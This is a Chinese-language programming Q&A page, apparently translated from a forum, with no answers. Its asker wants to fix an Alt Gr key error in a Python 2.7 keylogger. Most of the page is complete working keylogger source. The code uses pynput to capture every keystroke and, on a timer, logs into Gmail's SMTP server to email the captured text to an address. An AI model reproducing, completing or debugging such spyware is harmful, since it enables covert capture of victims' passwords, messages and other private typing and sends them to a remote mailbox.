python 2.7问题中的键盘记录程序问题“ alt gr”键,使蜗牛字符“ @”

时间:2018-09-02 11:28:37

标签: python

我正在制作一个键盘记录程序,其中包含一个报告,该报告到达特定的电子邮件地址,并在键盘上键入所有内容。在笔记本电脑的键盘中,使字符“ @”滚动并按“ alt gr” + “ò”“,要实现我使用pynput模块的键盘记录程序,问题是当我键入“ alt gr”按钮时,它给了我错误,因此目前我通过创建一个例外来拦截错误,该异常只是键入“ alt” gr”按钮字符串“ ALT GR”,但显然不能解决问题,该如何在键盘记录程序的源代码下方打印“ @”蜗牛字符?

keylogger.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import pynput.keyboard
import threading
import smtplib

class Keylogger:
def __init__(self, time_interval, email, password):
    self.log = "Keylogger started"
    self.interval = time_interval
    self.email = email
    self.password = password

def append_to_log(self, string):
    self.log = self.log + string

def process_key_press(self, key):

    try:
        # current_key = str(key.char)
        current_key = str(key.char.encode('utf8'))

    except AttributeError:
        try:

            if key == key.space:
                current_key = " "
            else:
                current_key = " " + str(key) + " "

        except AttributeError:
            current_key = "ALT GR"

    self.append_to_log(current_key)

def report(self):
    self.send_mail(self.email, self.password, "\n\n" + self.log)
    self.log = ""
    timer = threading.Timer(self.interval, self.report)
    timer.start()

def send_mail(self, email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

def start(self):
    keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
    with keyboard_listener:
        self.report()
        keyboard_listener.join()

run_key_logger.py:

#!/usr/bin/env python

import keylogger

my_keylogger = keylogger.Keylogger(60, "email",  "password")  
my_keylogger.start()

0 个答案:

没有答案